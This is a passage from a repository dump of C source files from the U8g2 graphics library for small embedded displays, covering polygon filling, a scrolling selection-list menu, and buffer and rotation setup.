pge->current_x_offset;\n  pge->error += pge->error_offset;\n  if ( pge->error > 0 )\n  {\n    pge->current_x += pge->x_direction;\n    pge->error -= pge->height;\n  }  \n  \n  pge->current_y++;\n  return 1;\n}\n\n/* assumes y2 > y1 */\nstatic void pge_Init(struct pg_edge_struct *pge, pg_word_t x1, pg_word_t y1, pg_word_t x2, pg_word_t y2)\n{\n  pg_word_t dx = x2 - x1;\n  pg_word_t width;\n\n  pge->height = y2 - y1;\n  pge->max_y = y2;\n  pge->current_y = y1;\n  pge->current_x = x1;\n\n  if ( dx >= 0 )\n  {\n    pge->x_direction = 1;\n    width = dx;\n    pge->error = 0;\n  }\n  else\n  {\n    pge->x_direction = -1;\n    width = -dx;\n    pge->error = 1 - pge->height;\n  }\n  \n  pge->current_x_offset = dx / pge->height;\n  pge->error_offset = width % pge->height;\n}\n\n/*===========================================*/\n/* convex polygon algorithm */\n\nstatic uint8_t pg_inc(pg_struct *pg, uint8_t i)\n{\n    i++;\n    if ( i >= pg->cnt )\n      i = 0;\n    return i;\n}\n\nstatic uint8_t pg_dec(pg_struct *pg, uint8_t i)\n{\n    i--;\n    if ( i >= pg->cnt )\n      i = pg->cnt-1;\n    return i;\n}\n\nstatic void pg_expand_min_y(pg_struct *pg, pg_word_t min_y, uint8_t pge_idx)\n{\n  uint8_t i = pg->pge[pge_idx].curr_idx;\n  for(;;)\n  {\n    i = pg->pge[pge_idx].next_idx_fn(pg, i);\n    if ( pg->list[i].y != min_y )\n      break;\t\n    pg->pge[pge_idx].curr_idx = i;\n  }\n}\n\nstatic uint8_t pg_prepare(pg_struct *pg)\n{\n  pg_word_t max_y;\n  pg_word_t min_y;\n  uint8_t i;\n\n  /* setup the next index procedures */\n  pg->pge[PG_RIGHT].next_idx_fn = pg_inc;\n  pg->pge[PG_LEFT].next_idx_fn = pg_dec;\n  \n  /* search for highest and lowest point */\n  max_y = pg->list[0].y;\n  min_y = pg->list[0].y;\n  pg->pge[PG_LEFT].curr_idx = 0;\n  for( i = 1; i < pg->cnt; i++ )\n  {\n    if ( max_y < pg->list[i].y )\n    {\n      max_y = pg->list[i].y;\n    }\n    if ( min_y > pg->list[i].y )\n    {\n      pg->pge[PG_LEFT].curr_idx = i;\n      min_y = pg->list[i].y;\n    }\n  }\n\n  /* calculate total number of scan lines */\n  pg->total_scan_line_cnt = max_y;\n  pg->total_scan_line_cnt -= min_y;\n  \n  /* exit if polygon height is zero */\n  if ( pg->total_scan_line_cnt == 0 )\n    return 0;\n  \n  /* if the minimum y side is flat, try to find the lowest and highest x points */\n  pg->pge[PG_RIGHT].curr_idx = pg->pge[PG_LEFT].curr_idx;  \n  pg_expand_min_y(pg, min_y, PG_RIGHT);\n  pg_expand_min_y(pg, min_y, PG_LEFT);\n  \n  /* check if the min side is really flat (depends on the x values) */\n  pg->is_min_y_not_flat = 1;\n  if ( pg->list[pg->pge[PG_LEFT].curr_idx].x != pg->list[pg->pge[PG_RIGHT].curr_idx].x )\n  {\n    pg->is_min_y_not_flat = 0;\n  }\n  else\n  {\n    pg->total_scan_line_cnt--;\n    if ( pg->total_scan_line_cnt == 0 )\n      return 0;\n  }\n\n  return 1;\n}\n\nstatic void pg_hline(pg_struct *pg, u8g2_t *u8g2)\n{\n  pg_word_t x1, x2, y;\n  x1 = pg->pge[PG_LEFT].current_x;\n  x2 = pg->pge[PG_RIGHT].current_x;\n  y = pg->pge[PG_RIGHT].current_y;\n  \n  if ( y < 0 )\n    return;\n  if ( y >= (pg_word_t)u8g2_GetDisplayHeight(u8g2) )  // does not work for 256x64 display???\n    return;\n  if ( x1 < x2 )\n  {\n    if ( x2 < 0 )\n      return;\n    if ( x1 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) )\n      return;\n    if ( x1 < 0 )\n      x1 = 0;\n    if ( x2 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) )\n      x2 = u8g2_GetDisplayWidth(u8g2);\n    u8g2_DrawHLine(u8g2, x1, y, x2 - x1);\n  }\n  else\n  {\n    if ( x1 < 0 )\n      return;\n    if ( x2 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) )\n      return;\n    if ( x2 < 0 )\n      x1 = 0;\n    if ( x1 >= (pg_word_t)u8g2_GetDisplayWidth(u8g2) )\n      x1 = u8g2_GetDisplayWidth(u8g2);\n    u8g2_DrawHLine(u8g2, x2, y, x1 - x2);\n  }\n}\n\nstatic void pg_line_init(pg_struct * const pg, uint8_t pge_index)\n{\n  struct pg_edge_struct  *pge = pg->pge+pge_index;\n  uint8_t idx;  \n  pg_word_t x1;\n  pg_word_t y1;\n  pg_word_t x2;\n  pg_word_t y2;\n\n  idx = pge->curr_idx;  \n  y1 = pg->list[idx].y;\n  x1 = pg->list[idx].x;\n  idx = pge->next_idx_fn(pg, idx);\n  y2 = pg->list[idx].y;\n  x2 = pg->list[idx].x; \n  pge->curr_idx = idx;\n  \n  pge_Init(pge, x1, y1, x2, y2);\n}\n\nstatic void pg_exec(pg_struct *pg, u8g2_t *u8g2)\n{\n  pg_word_t i = pg->total_scan_line_cnt;\n\n  /* first line is skipped if the min y line is not flat */\n  pg_line_init(pg, PG_LEFT);\t\t\n  pg_line_init(pg, PG_RIGHT);\n  \n  if ( pg->is_min_y_not_flat != 0 )\n  {\n    pge_Next(&(pg->pge[PG_LEFT])); \n    pge_Next(&(pg->pge[PG_RIGHT]));\n  }\n\n  do\n  {\n    pg_hline(pg, u8g2);\n    while ( pge_Next(&(pg->pge[PG_LEFT])) == 0 )\n    {\n      pg_line_init(pg, PG_LEFT);\n    }\n    while ( pge_Next(&(pg->pge[PG_RIGHT])) == 0 )\n    {\n      pg_line_init(pg, PG_RIGHT);\n    }\n    i--;\n  } while( i > 0 );\n}\n\n/*===========================================*/\n/* API procedures */\n\nstatic void pg_ClearPolygonXY(pg_struct *pg)\n{\n  pg->cnt = 0;\n}\n\nstatic void pg_AddPolygonXY(pg_struct *pg, int16_t x, int16_t y)\n{\n  if ( pg->cnt < PG_MAX_POINTS )\n  {\n    pg->list[pg->cnt].x = x;\n    pg->list[pg->cnt].y = y;\n    pg->cnt++;\n  }\n}\n\nstatic void pg_DrawPolygon(pg_struct *pg, u8g2_t *u8g2)\n{\n  if ( pg_prepare(pg) == 0 )\n    return;\n  pg_exec(pg, u8g2);\n}\n\npg_struct u8g2_pg;\n\nvoid u8g2_ClearPolygonXY(void)\n{\n  pg_ClearPolygonXY(&u8g2_pg);\n}\n\nvoid u8g2_AddPolygonXY(U8X8_UNUSED u8g2_t *u8g2, int16_t x, int16_t y)\n{\n  pg_AddPolygonXY(&u8g2_pg, x, y);\n}\n\nvoid u8g2_DrawPolygon(u8g2_t *u8g2)\n{\n  pg_DrawPolygon(&u8g2_pg, u8g2);\n}\n\nvoid u8g2_DrawTriangle(u8g2_t *u8g2, int16_t x0, int16_t y0, int16_t x1, int16_t y1, int16_t x2, int16_t y2)\n{\n  u8g2_ClearPolygonXY();\n  u8g2_AddPolygonXY(u8g2, x0, y0);\n  u8g2_AddPolygonXY(u8g2, x1, y1);\n  u8g2_AddPolygonXY(u8g2, x2, y2);\n  u8g2_DrawPolygon(u8g2);\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_selection_list.c",
    "content": "/*\n\n  u8g2_selection_list.c\n  \n  selection list with scroll option\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n#include \"u8g2.h\"\n\n#define MY_BORDER_SIZE 1\n\n\n/*\n  Draw a string at x,y\n  Center string within w (left adjust if w < pixel len of s)\n  \n  Side effects:\n    u8g2_SetFontDirection(u8g2, 0);\n    u8g2_SetFontPosBaseline(u8g2);\n\n*/\nvoid u8g2_DrawUTF8Line(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, const char *s, uint8_t border_size, uint8_t is_invert)\n{\n  u8g2_uint_t d, str_width;\n  u8g2_uint_t fx, fy, fw, fh;\n\n  /* only horizontal strings are supported, so force this here */\n  u8g2_SetFontDirection(u8g2, 0);\n\n  /* revert y position back to baseline ref */\n  y += u8g2->font_calc_vref(u8g2);   \n\n  /* calculate the width of the string in pixel */\n  str_width = u8g2_GetUTF8Width(u8g2, s);\n\n  /* calculate delta d within the box */\n  d = 0;\n  if ( str_width < w )\n  {\n    d = w;\n    d -=str_width;\n    d /= 2;\n  }\n  else\n  {\n    w = str_width;\n  }\n\n  /* caluclate text box */\n  fx = x;\n  fy = y - u8g2_GetAscent(u8g2) ;\n  fw = w;\n  fh = u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2) ;\n\n  /* draw the box, if inverted */\n  u8g2_SetDrawColor(u8g2, 1);\n  if ( is_invert )\n  {\n    u8g2_DrawBox(u8g2, fx, fy, fw, fh);\n  }\n\n  /* draw the frame */\n  while( border_size > 0 )\n  {\n    fx--;\n    fy--;\n    fw +=2;\n    fh +=2;\n    u8g2_DrawFrame(u8g2, fx, fy, fw, fh );\n    border_size--;\n  }\n\n  if ( is_invert )\n  {\n    u8g2_SetDrawColor(u8g2, 0);\n  }\n  else\n  {\n    u8g2_SetDrawColor(u8g2, 1);\n  }\n\n  /* draw the text */\n  u8g2_DrawUTF8(u8g2, x+d, y, s);\n\n  /* revert draw color */\n  u8g2_SetDrawColor(u8g2, 1);\n\n}\n\n\n/*\n  draw several lines at position x,y.\n  lines are stored in s and must be separated with '\\n'.\n  lines can be centered with respect to \"w\"\n  if s == NULL nothing is drawn and 0 is returned\n  returns the number of lines in s multiplied with line_height\n*/\nu8g2_uint_t u8g2_DrawUTF8Lines(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t line_height, const char *s)\n{\n  uint8_t i;\n  uint8_t cnt;\n  u8g2_uint_t yy = 0;\n  cnt = u8x8_GetStringLineCnt(s);\n  //printf(\"str=%s\\n\", s);\n  //printf(\"cnt=%d, y=%d, line_height=%d\\n\", cnt, y, line_height);\n  for( i = 0; i < cnt; i++ )\n  {\n    //printf(\"  i=%d, y=%d, line_height=%d\\n\", i, y, line_height);\n    u8g2_DrawUTF8Line(u8g2, x, y, w, u8x8_GetStringLineStart(i, s), 0, 0);\n    y+=line_height;\n    yy+=line_height;\n  }\n  return yy;\n}\n\n/*\n  selection list with string line\n  returns line height\n*/\nstatic u8g2_uint_t u8g2_draw_selection_list_line(u8g2_t *u8g2, u8sl_t *u8sl, u8g2_uint_t y, uint8_t idx, const char *s) U8G2_NOINLINE;\nstatic u8g2_uint_t u8g2_draw_selection_list_line(u8g2_t *u8g2, u8sl_t *u8sl, u8g2_uint_t y, uint8_t idx, const char *s)\n{\n  //u8g2_uint_t yy;\n  uint8_t border_size = 0;\n  uint8_t is_invert = 0;\n\t\n  u8g2_uint_t line_height = u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2)+MY_BORDER_SIZE;\n\n  /* calculate offset from display upper border */\n  //yy = idx;\n  //yy -= u8sl->first_pos;\n  //yy *= line_height;\n  //yy += y;\n\n  /* check whether this is the current cursor line */\n  if ( idx == u8sl->current_pos )\n  {\n    border_size = MY_BORDER_SIZE;\n    is_invert = 1;\n  }\n\n  /* get the line from the array */\n  s = u8x8_GetStringLineStart(idx, s);\n\n  /* draw the line */\n  if ( s == NULL )\n    s = \"\";\n  u8g2_DrawUTF8Line(u8g2, MY_BORDER_SIZE, y, u8g2_GetDisplayWidth(u8g2)-2*MY_BORDER_SIZE, s, border_size, is_invert);\n  return line_height;\n}\n\nvoid u8g2_DrawSelectionList(u8g2_t *u8g2, u8sl_t *u8sl, u8g2_uint_t y, const char *s)\n{\n  uint8_t i;\n  for( i = 0; i < u8sl->visible; i++ )\n  {\n    y += u8g2_draw_selection_list_line(u8g2, u8sl, y, i+u8sl->first_pos, s);\n  }\n}\n\n\n/*\n  title: \t\tNULL for no title, valid str for title line. Can contain mutliple lines, separated by '\\n'\n  start_pos: \tdefault position for the cursor, first line is 1.\n  sl:\t\t\tstring list (list of strings separated by \\n)\n  returns 0 if user has pressed the home key\n  returns the selected line if user has pressed the select key\n  side effects:\n    u8g2_SetFontDirection(u8g2, 0);\n    u8g2_SetFontPosBaseline(u8g2);\n\t\n*/\nuint8_t u8g2_UserInterfaceSelectionList(u8g2_t *u8g2, const char *title, uint8_t start_pos, const char *sl)\n{\n  u8sl_t u8sl;\n  u8g2_uint_t yy;\n\n  uint8_t event;\n\n  u8g2_uint_t line_height = u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2)+MY_BORDER_SIZE;\n\n  uint8_t title_lines = u8x8_GetStringLineCnt(title);\n  uint8_t display_lines;\n\n  \n  if ( start_pos > 0 )\t/* issue 112 */\n    start_pos--;\t\t/* issue 112 */\n\n\n  if ( title_lines > 0 )\n  {\n\tdisplay_lines = (u8g2_GetDisplayHeight(u8g2)-3) / line_height;\n\tu8sl.visible = display_lines;\n\tu8sl.visible -= title_lines;\n  }\n  else\n  {\n\tdisplay_lines = u8g2_GetDisplayHeight(u8g2) / line_height;\n\tu8sl.visible = display_lines;\n  }\n\n  u8sl.total = u8x8_GetStringLineCnt(sl);\n  u8sl.first_pos = 0;\n  u8sl.current_pos = start_pos;\n\n  if ( u8sl.current_pos >= u8sl.total )\n    u8sl.current_pos = u8sl.total-1;\n  if ( u8sl.first_pos+u8sl.visible <= u8sl.current_pos )\n    u8sl.first_pos = u8sl.current_pos-u8sl.visible+1;\n\n  u8g2_SetFontPosBaseline(u8g2);\n  \n  for(;;)\n  {\n      u8g2_FirstPage(u8g2);\n      do\n      {\n        yy = u8g2_GetAscent(u8g2);\n        if ( title_lines > 0 )\n        {\n          yy += u8g2_DrawUTF8Lines(u8g2, 0, yy, u8g2_GetDisplayWidth(u8g2), line_height, title);\n\t\t\n\t  u8g2_DrawHLine(u8g2, 0, yy-line_height- u8g2_GetDescent(u8g2) + 1, u8g2_GetDisplayWidth(u8g2));\n\t\t\n\t  yy += 3;\n        }\n        u8g2_DrawSelectionList(u8g2, &u8sl, yy, sl);\n      } while( u8g2_NextPage(u8g2) );\n      \n#ifdef U8G2_REF_MAN_PIC\n      return 0;\n#endif\n\n\n      for(;;)\n      {\n        event = u8x8_GetMenuEvent(u8g2_GetU8x8(u8g2));\n        if ( event == U8X8_MSG_GPIO_MENU_SELECT )\n          return u8sl.current_pos+1;\t\t/* +1, issue 112 */\n        else if ( event == U8X8_MSG_GPIO_MENU_HOME )\n          return 0;\t\t\t\t/* issue 112: return 0 instead of start_pos */\n        else if ( event == U8X8_MSG_GPIO_MENU_NEXT || event == U8X8_MSG_GPIO_MENU_DOWN )\n        {\n          u8sl_Next(&u8sl);\n          break;\n        }\n        else if ( event == U8X8_MSG_GPIO_MENU_PREV || event == U8X8_MSG_GPIO_MENU_UP )\n        {\n          u8sl_Prev(&u8sl);\n          break;\n        }\n      }\n  }\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_setup.c",
    "content": "/*\n\n  u8g2_setup.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n#include <string.h>\n#include <assert.h>\n\n\n/*============================================*/\n\n\n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n\nvoid u8g2_SetMaxClipWindow(u8g2_t *u8g2)\n{\n  u8g2->clip_x0 = 0;\n  u8g2->clip_y0 = 0;\n  u8g2->clip_x1 = (u8g2_uint_t)~(u8g2_uint_t)0;\n  u8g2->clip_y1 = (u8g2_uint_t)~(u8g2_uint_t)0;\n  \n  u8g2->cb->update_page_win(u8g2);\n}\n\nvoid u8g2_SetClipWindow(u8g2_t *u8g2, u8g2_uint_t clip_x0, u8g2_uint_t clip_y0, u8g2_uint_t clip_x1, u8g2_uint_t clip_y1 )\n{\n  u8g2->clip_x0 = clip_x0;\n  u8g2->clip_y0 = clip_y0;\n  u8g2->clip_x1 = clip_x1;\n  u8g2->clip_y1 = clip_y1;\n  u8g2->cb->update_page_win(u8g2);\n}\n#endif\n\n/*============================================*/\n/*\n  This procedure is called after setting up the display (u8x8 structure).\n  --> This is the central init procedure for u8g2 object\n*/\nvoid u8g2_SetupBuffer(u8g2_t *u8g2, uint8_t *buf, uint8_t tile_buf_height, u8g2_draw_ll_hvline_cb ll_hvline_cb, const u8g2_cb_t *u8g2_cb)\n{\n  u8g2->font = NULL;\n  //u8g2->kerning = NULL;\n  //u8g2->get_kerning_cb = u8g2_GetNullKerning;\n  \n  //u8g2->ll_hvline = u8g2_ll_hvline_vertical_top_lsb;\n  u8g2->ll_hvline = ll_hvline_cb;\n  \n  u8g2->tile_buf_ptr = buf;\n  u8g2->tile_buf_height = tile_buf_height;\n  \n  u8g2->tile_curr_row = 0;\n  \n  u8g2->font_decode.is_transparent = 0; /* issue 443 */\n  u8g2->bitmap_transparency = 0;\n  \n  u8g2->font_height_mode = 0; /* issue 2046 */\n  u8g2->draw_color = 1;\n  u8g2->is_auto_page_clear = 1;\n  \n  u8g2->cb = u8g2_cb;\n  u8g2->cb->update_dimension(u8g2);\n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  u8g2_SetMaxClipWindow(u8g2);\t\t/* assign a clip window and call the update() procedure */\n#else\n  u8g2->cb->update_page_win(u8g2);\n#endif\n\n  u8g2_SetFontPosBaseline(u8g2);  /* issue 195 */\n  \n#ifdef U8G2_WITH_FONT_ROTATION  \n  u8g2->font_decode.dir = 0;\n#endif\n}\n\n/*\n  Usually the display rotation is set initially, but it could be done later also\n  u8g2_cb can be U8G2_R0..U8G2_R3\n*/\nvoid u8g2_SetDisplayRotation(u8g2_t *u8g2, const u8g2_cb_t *u8g2_cb)\n{\n  u8g2->cb = u8g2_cb;\n  u8g2->cb->update_dimension(u8g2);\n  u8g2->cb->update_page_win(u8g2);\n}\n\n/*============================================*/\n\nvoid u8g2_SendF(u8g2_t * u8g2, const char *fmt, ...)\n{\n  va_list va;\n  va_start(va, fmt);\n  u8x8_cad_vsendf(u8g2_GetU8x8(u8g2), fmt, va);\n  va_end(va);\n}\n\n\n/*============================================*/\n/* \n  update dimension: \n  calculate the following variables:\n    u8g2_uint_t buf_x0;\tleft corner of the buffer\n    u8g2_uint_t buf_x1;\tright corner of the buffer (excluded)\n    u8g2_uint_t buf_y0;\n    u8g2_uint_t buf_y1; \t\n*/\n\nstatic void u8g2_update_dimension_common(u8g2_t *u8g2)\n{\n  const u8x8_display_info_t *display_info = u8g2_GetU8x8(u8g2)->display_info;\n  u8g2_uint_t t;\n  \n  t = u8g2->tile_buf_height;\n  t *= 8;\n  u8g2->pixel_buf_height = t;\n  \n  t = display_info->tile_width;\n#ifndef U8G2_16BIT\n  if ( t >= 32 )\n    t = 31;\n#endif\n  t *= 8;\n  u8g2->pixel_buf_width = t;\n  \n  t = u8g2->tile_curr_row;\n  t *= 8;\n  u8g2->pixel_curr_row = t;\n  \n  t = u8g2->tile_buf_height;\n  /* handle the case, where the buffer is larger than the (remaining) part of the display */\n  if ( t + u8g2->tile_curr_row > display_info->tile_height )\n    t = display_info->tile_height - u8g2->tile_curr_row;\n  t *= 8;\n  \n  u8g2->buf_y0 = u8g2->pixel_curr_row;   \n  u8g2->buf_y1 = u8g2->buf_y0;\n  u8g2->buf_y1 += t;\n\n  \n#ifdef U8G2_16BIT\n  u8g2->width = display_info->pixel_width;\n  u8g2->height = display_info->pixel_height;\n#else\n  u8g2->width = 240;\n  if ( display_info->pixel_width <= 240 )\n    u8g2->width = display_info->pixel_width;\n  u8g2->height = display_info->pixel_height;\n#endif\n\n}\n\n/*==========================================================*/\n/* apply clip window */\n\n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\nstatic void u8g2_apply_clip_window(u8g2_t *u8g2)\n{\n  /* check aganst the current user_??? window */\n  if ( u8g2_IsIntersection(u8g2, u8g2->clip_x0, u8g2->clip_y0, u8g2->clip_x1, u8g2->clip_y1) == 0 ) \n  {\n    u8g2->is_page_clip_window_intersection = 0;\n  }\n  else\n  {\n    u8g2->is_page_clip_window_intersection = 1;\n\n    if ( u8g2->user_x0 < u8g2->clip_x0 )\n      u8g2->user_x0 = u8g2->clip_x0;\n    if ( u8g2->user_x1 > u8g2->clip_x1 )\n      u8g2->user_x1 = u8g2->clip_x1;\n    if ( u8g2->user_y0 < u8g2->clip_y0 )\n      u8g2->user_y0 = u8g2->clip_y0;\n    if ( u8g2->user_y1 > u8g2->clip_y1 )\n      u8g2->user_y1 = u8g2->clip_y1;\n  }\n}\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n\n/*==========================================================*/\n\n\nvoid u8g2_update_dimension_r0(u8g2_t *u8g2)\n{\n  u8g2_update_dimension_common(u8g2);  \n}\n\nvoid u8g2_update_page_win_r0(u8g2_t *u8g2)\n{\n  u8g2->user_x0 = 0;\n  u8g2->user_x1 = u8g2->width;\t\t\t/* pixel_buf_width replaced with width */\n  \n  u8g2->user_y0 = u8g2->buf_y0;\n  u8g2->user_y1 = u8g2->buf_y1;\n  \n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  u8g2_apply_clip_window(u8g2);\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n}\n\n\nvoid u8g2_update_dimension_r1(u8g2_t *u8g2)\n{\n  u8g2_update_dimension_common(u8g2);\n  \n  u8g2->height = u8g2_GetU8x8(u8g2)->display_info->pixel_width;\n  u8g2->width = u8g2_GetU8x8(u8g2)->display_info->pixel_height;\n  \n}\n\nvoid u8g2_update_page_win_r1(u8g2_t *u8g2)\n{\n  u8g2->user_x0 = u8g2->buf_y0;\n  u8g2->user_x1 = u8g2->buf_y1;\n  \n  u8g2->user_y0 = 0;\n  u8g2->user_y1 = u8g2->height;\t/* pixel_buf_width replaced with height (which is the real pixel width) */\n  \n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  u8g2_apply_clip_window(u8g2);\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n}\n\nvoid u8g2_update_dimension_r2(u8g2_t *u8g2)\n{\n  u8g2_update_dimension_common(u8g2);\n}\n\nvoid u8g2_update_page_win_r2(u8g2_t *u8g2)\n{\n  u8g2->user_x0 = 0;\n  u8g2->user_x1 = u8g2->width;\t/* pixel_buf_width replaced with width */\n  \n  /* there are ases where the height is not a multiple of 8. */\n  /* in such a case u8g2->buf_y1 might be heigher than u8g2->height */\n  u8g2->user_y0 = 0;\n  if ( u8g2->height >= u8g2->buf_y1 )\n    u8g2->user_y0 = u8g2->height - u8g2->buf_y1;\n  u8g2->user_y1 = u8g2->height - u8g2->buf_y0;\n\n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  u8g2_apply_clip_window(u8g2);\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n}\n\n\nvoid u8g2_update_dimension_r3(u8g2_t *u8g2)\n{\n  u8g2_update_dimension_common(u8g2);\n  \n  u8g2->height = u8g2_GetU8x8(u8g2)->display_info->pixel_width;\n  u8g2->width = u8g2_GetU8x8(u8g2)->display_info->pixel_height;\n\n}\n\nvoid u8g2_update_page_win_r3(u8g2_t *u8g2)\n{\n  /* there are ases where the height is not a multiple of 8. */\n  /* in such a case u8g2->buf_y1 might be heigher than u8g2->width */\n  u8g2->user_x0 = 0;\n  if ( u8g2->width >= u8g2->buf_y1 )\n    u8g2->user_x0 = u8g2->width - u8g2->buf_y1;\n  u8g2->user_x1 = u8g2->width - u8g2->buf_y0;\n  \n  u8g2->user_y0 = 0;\n  u8g2->user_y1 = u8g2->height;\t/* pixel_buf_width replaced with height (pixel_width) */\n\n#ifdef U8G2_WITH_CLIP_WINDOW_SUPPORT\n  u8g2_apply_clip_window(u8g2);\n#endif /* U8G2_WITH_CLIP_WINDOW_SUPPORT */\n}\n\n\n/*============================================*/\nextern void u8g2_draw_hv_line_2dir(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir);\n\n\nvoid u8g2_draw_l90_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n#ifdef __unix\n  assert( dir <= 1 );\n#endif\n  u8g2_draw_hv_line_2dir(u8g2, x, y, len, dir);\n}\n\nvoid u8g2_draw_l90_mirrorr_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  u8g2_uint_t xx;\n  xx = u8g2->width;\n  xx -= x;\n  if ( (dir & 1) == 0 )\n  {\n    xx -= len;\n  }\n  else\n  {\n    xx--;\n  }\n  u8g2_draw_hv_line_2dir(u8g2, xx, y, len, dir);\n}\n\nvoid u8g2_draw_mirror_vertical_r0(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  u8g2_uint_t yy;\n  yy = u8g2->height;\n  yy -= y;\n  if ( (dir & 1) == 1 )\n  {\n    yy -= len;\n  }\n  else\n  {\n    yy--;\n  }\n  u8g2_draw_hv_line_2dir(u8g2, x, yy, len, dir);\n}\n\n/* dir = 0 or 1 */\nvoid u8g2_draw_l90_r1(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  u8g2_uint_t xx, yy;\n\n#ifdef __unix\n  assert( dir <= 1 );\n#endif\n  \n  yy = x;\n  \n  xx = u8g2->height;\n  xx -= y;\n  xx--;\n  \n  dir ++;\n  if ( dir == 2 )\n  {\n    xx -= len;\n    xx++;\n    dir = 0;\n  }\n  \n  u8g2_draw_hv_line_2dir(u8g2, xx, yy, len, dir);\n}\n\nvoid u8g2_draw_l90_r2(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  u8g2_uint_t xx, yy;\n\n  /*\n  yy = u8g2->height;\n  yy -= y;\n  yy--;\n  \n  xx = u8g2->width;\n  xx -= x;\n  xx--;\n  \n  if ( dir == 0 )\n  {\n    xx -= len;\n    xx++;\n  }\n  else if ( dir == 1 )\n  {\n    yy -= len;\n    yy++;\n  }\n  */\n\n  yy = u8g2->height;\n  yy -= y;\n  \n  xx = u8g2->width;\n  xx -= x;\n  \n  if ( dir == 0 )\n  {\n    yy--;\n    xx -= len;\n  }\n  else if ( dir == 1 )\n  {\n    xx--;\n    yy -= len;\n  }\n\n  u8g2_draw_hv_line_2dir(u8g2, xx, yy, len, dir);\n}\n\nvoid u8g2_draw_l90_r3(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, uint8_t dir)\n{\n  u8g2_uint_t xx, yy;\n\n  xx = y;\n  \n  yy = u8g2->width;\n  yy -= 